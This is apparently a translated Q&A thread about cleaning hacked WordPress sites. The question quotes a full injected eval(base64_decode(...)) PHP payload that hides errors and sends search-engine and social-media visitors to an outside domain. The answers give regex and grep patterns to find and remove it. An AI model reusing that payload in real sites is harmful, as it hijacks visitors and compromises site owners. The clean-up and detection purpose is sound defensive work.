所以基本上没有更新的WordPress网站受到了损害。我已经下载了文件,确定了被感染者,并且找到了一种模式。
在文件的顶部有如下代码
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly93a3BiLjI1dS5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfQ=="));
或者附近有不同角色的东西。
我正在使用grepWin从几百个PHP文件中删除代码。我可以使用哪种正则表达式代码删除以eval(base64_decode(
开头的代码,后跟长行文本,以"));
结尾。对于某些文件,其间的文本不同。
[注意 - 我上面使用的代码缩短了,不想触发任何带有可疑代码的病毒保护程序]
答案 0 :(得分:0)
匹配的正则表达式如下:
/eval\(base64_decode\("[^\)]+\)\)\;/
使用WinGrep时,请使用此字符串。 Windows grep不喜欢周围的斜杠。
eval\(base64_decode\("[^\)]+\)\)\;
然后用空字符串替换。 Grep通常不会提供此替换功能,但我注意到您说您使用的是WinGrep,它确实提供了全局替换功能。
答案 1 :(得分:0)
以下grep
命令可能有助于查找此类文件:
grep -R return.*base64_decode .
或:
grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .
但是您应该使用特殊的扫描仪,请参阅:PHP security scanner。